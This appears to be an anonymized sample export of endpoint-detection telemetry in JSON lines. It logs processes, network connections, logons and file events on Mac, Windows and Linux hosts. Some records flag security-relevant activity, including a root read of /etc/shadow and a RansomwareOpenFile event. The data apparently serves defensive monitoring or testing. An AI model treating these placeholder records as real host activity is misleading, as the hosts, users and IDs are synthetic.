-{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"}
-{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
-{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"}
-{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"}
-{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"}
-{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"}
-{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"}
-{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"}
-{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"}
-{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"}
-{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"}
-{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"}
-{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"}
-{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"}
-{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"}
-{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"}
-{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"}
-{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"}
-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"}
